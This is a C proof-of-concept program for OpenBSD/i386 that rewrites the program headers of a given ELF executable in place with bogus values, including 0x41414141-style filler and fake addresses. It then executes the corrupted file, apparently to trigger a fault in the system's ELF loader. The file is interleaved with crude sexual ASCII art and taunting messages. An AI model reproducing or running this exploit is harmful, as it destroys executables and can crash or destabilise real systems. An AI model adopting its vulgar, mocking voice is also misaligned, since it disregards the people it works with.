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#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/types.h>
#ifndef __OpenBSD__
#error "Not OpenBSD !!!1111";
#else
#include <sys/exec_elf.h>
#endif
#ifndef __i386__
#error "Not i386 !!!1111";
#endif
char big_b00bz[] =
" 8M:::::::8888M:::::888:::::::88:::8888888::::::::Mm\n"
" 88MM:::::8888M:::::::88::::::::8:::::888888:::M:::::M\n"
" 8888M:::::888MM::::::::8:::::::::::M::::8888::::M::::M\n"
" 88888M:::::88:M::::::::::8:::::::::::M:::8888::::::M::M\n"
" 88 888MM:::888:M:::::::::::::::::::::::M:8888:::::::::M:\n"
" 8 88888M:::88::M:::::::::::::::::::::::MM:88::::::::::::M\n"
" 88888M:::88::M::::::::::*88*::::::::::M:88::::::::::::::M\n"
" 888888M:::88::M:::::::::88@@88:::::::::M::88::::::::::::::M\n"
" 888888MM::88::MM::::::::88@@88:::::::::M:::8::::::::::::::*8\n"
" 88888 M:::8::MM:::::::::*88*::::::::::M:::::::::::::::::88@@\n"
" 8888 MM::::::MM:::::::::::::::::::::MM:::::::::::::::::88@@\n"
" 888 M:::::::MM:::::::::::::::::::MM::M::::::::::::::::*8\n"
" 888 MM:::::::MMM::::::::::::::::MM:::MM:::::::::::::::M\n"
" 88 M::::::::MMMM:::::::::::MMMM:::::MM::::::::::::MM\n"
" 88 MM:::::::::MMMMMMMMMMMMMMM::::::::MMM::::::::MMM\n"
" 88 MM::::::::::::MMMMMMM::::::::::::::MMMMMMMMMM\n"
" 88 8MM::::::::::::::::::::::::::::::::::MMMMMM\n"
" 8 88MM::::::::::::::::::::::M:::M::::::::MM\n"
" 888MM::::::::::::::::::MM::::::MM::::::M";
int main(int argc, char **argv)
{
Elf32_Ehdr *hdr;
Elf32_Phdr *pht;
struct stat statinfo;
char *elfptr;
int fd;
if(argc != 2) return printf("Usage: %s <elf_exec>\n", argv[0]);
fd = open(argv[1], O_RDWR);
fstat(fd, &statinfo);
elfptr = (char *) mmap(NULL, statinfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
hdr = (Elf32_Ehdr *) (elfptr);
pht = (Elf32_Phdr *) (elfptr + hdr->e_phoff);
printf("%s", big_b00bz);
pht[9].p_type = 0x7defaced;
pht[2].p_filesz = (arc4random() % 2) ? 0x41414141 : 0x43434343;
sleep(3 + (arc4random() % 3));
if(arc4random() % 3 == 2) puts(" .. I like b1g 0nez !!");
else { if(arc4random() % 2){ puts(" .. want s0me ?!"); pht[5].p_vaddr = 0xb16b00b5; }
else { puts(" .. j00 like it ?!"); pht[5].p_vaddr = 0x0ace55e8; }}
msync(elfptr, 0, MS_ASYNC);
munmap(elfptr, statinfo.st_size);
close(fd);
sleep(3 + (arc4random() % 3));
system(argv[1]);
puts("... s0rry, this piece of sh1t didn't w0rk in j00r obsd\n");
return 0xDEFECA7E;
}
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